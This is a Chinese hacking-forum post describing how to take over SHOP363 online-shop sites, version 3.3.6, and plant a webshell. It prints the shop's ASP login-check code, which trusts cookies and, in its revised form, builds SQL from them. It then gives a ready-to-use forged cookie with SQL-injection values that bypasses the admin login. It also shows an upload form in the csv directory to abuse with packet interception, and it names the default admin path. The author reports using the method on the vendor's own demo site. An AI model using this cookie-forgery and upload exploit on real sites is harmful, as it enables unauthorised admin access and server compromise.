发表:
红科网安 作者:不详。
呵呵,标题写的有点夸张,我看的是官方演示的最新版本3.3.6版本,看过代码我相信早期的版本应该写法是基本相同的,因为没找到早期版本的
下载所以没有测试,大家有的可以自行测试早期版本。
在讨论组看有坛友求SHOP363后台拿WEBSHELL方法,因为以前没用过这个系统不熟悉所以就
百度了下找到了官方演示,通过一个老
漏洞拿(不是网店
程序本身的漏洞)到了官方演示的webHSELL,然后在官方网站目录下还有个演示站,还是那个方法直接拿到官方权限。拿到WEBSHELL后看了下网店的后台代码开始找相关的利用漏洞,看了几个文件果然发现了利用的地方
昨天发了个智睿的管理系统的COOKIES欺骗漏洞,今天看SHOP363的Fun.asp文件发现管理验证方法基本试相同的,呵呵,真实巧啊
后台目录Admin_Shop363下面的FUN.ASP里面的Sub checklogin() 代码[pre]Sub checklogin() '检测是否登陆后台
复制代码-
- dim AdminName,AdminPassword,AdminFlags
- Session(CacheName &"AdminName") = Request.Cookies(SitWebCookies)("AdminName")
- Session(CacheName &"AdminPassword") = Request.Cookies
- (SitWebCookies)("AdminPassword")
- session(CacheName &"AdminFlags")=Request.Cookies(SitWebCookies)
- ("AdminFlags")
- session(CacheName &"Truename")=Request.Cookies(SitWebCookies)
- ("Truename")
- Session(CacheName &"AdminoldFlags") = Request.Cookies
- (SitWebCookies)("AdminoldFlags")
- Session(CacheName &"TFlags") = Request.Cookies(SitWebCookies)
- ("TFlags")
- AdminName=Session(CacheName &"AdminName")
- AdminPassword=Session(CacheName &"AdminPassword")
- AdminFlags=Session(CacheName &"AdminFlags")
- IF AdminName="" Or AdminPassword="" Or AdminFlags="" Then
- 'IF AdminName="" Then
- response.redirect("index.asp")
- response.End()
- End If
- End Sub
|
下面这个是在另一个演示站看到的改进代码[pre]Sub checklogin() '检测是否登陆后台
复制代码-
- dim AdminName,AdminPassword,AdminFlags
- Session(CacheName &"AdminName") = Request.Cookies(SitWebCookies)("AdminName")
- Session(CacheName &"AdminPassword") = Request.Cookies
- (SitWebCookies)("AdminPassword")
- session(CacheName &"AdminFlags")=Request.Cookies(SitWebCookies)
- ("AdminFlags")
- session(CacheName &"Truename")=Request.Cookies(SitWebCookies)
- ("Truename")
- Session(CacheName &"AdminoldFlags") = Request.Cookies
- (SitWebCookies)("AdminoldFlags")
- Session(CacheName &"TFlags") = Request.Cookies(SitWebCookies)
- ("TFlags")
- AdminName=Session(CacheName &"AdminName")
- AdminPassword=Session(CacheName &"AdminPassword")
- AdminFlags=Session(CacheName &"AdminFlags")
- Strsqlck="select * from Shop363_Admin where name='"& AdminName &"' and
- Password='"&AdminPassword&"'"
- set rsck=server.CreateObject("Adodb.Recordset")
- rsck.open Strsqlck,conn,1,1
- If rsck.eof Then
- response.redirect("index.asp")
- response.End()
- End If
- rsck.close
- Set rsck=nothing
- 'IF AdminName="" Or AdminPassword="" Or AdminFlags="" Then
- 'IF AdminName="" Then
- ' response.redirect("index.asp")
- ' response.End()
- 'End If
- End Sub
|
基本没改进什么,一样还是COOKIES欺骗,下面的是COOKIES利用代码:
复制代码- Sy%5FShops=TFlags=1%2C2%2C3%2C4%2C5%2C11%2C12%_2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C21%2C22%2C31%2C32%2C33%2C34%2C35%2C36%2C37%2C41%2C42%2C43%_2C44%2C51%2C52%2C53%2C54%2C55%2C56%2C61%2C62%2C63%2C64&AdminoldFlags=1&Truename=%CE%_DE&AdminFlags=1&AdminPassword='or'='or'&AdminName='or'='or';
|
这样可以进后台了,管理目录下有两个上传文件admin_upload.asp和admin_nupload.asp可以传递目录值但是我NC提交不成功还希望大牛们指教。
管理目录除了这两个没找到利用的地方就翻其他目录,运气好在网站根目录下的csv目录里发现了上传文件upfile1.asp代码如下:
复制代码-
- <!--#include file="../admin_shop363/conn.asp"--> <!--#include file="chkuser.asp"-->
- <html>
- <head>
- <title>上传</title>
- <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
- <style type="text/css">
- <!--
- body,td,th {
- font-size: 12px;
- }
- body {
- margin-left: 0px;
- margin-top: 0px;
- margin-right: 0px;
- margin-bottom: 0px;
- }
- -->
- </style>
- </head>
- <body bgcolor="#FFFFFF" text="#000000">
- <form name="form1" method="post" action="upfile.asp" enctype="multipart/form-data" >
- <input type="hidden" name="act" value="upload">
- <input type="hidden" name="upcount" value="1">
- <input type="hidden" name="filepath" value="csv/">
- <input type="file" name="file1" value="">
- <input type="submit" name="Submit" value="上传" class="bt">
- </form>
- </body>
- </html>
|
这回相信大家都是非常熟悉了,抓包上传吧。
网站默认后台目录:Admin_Shop363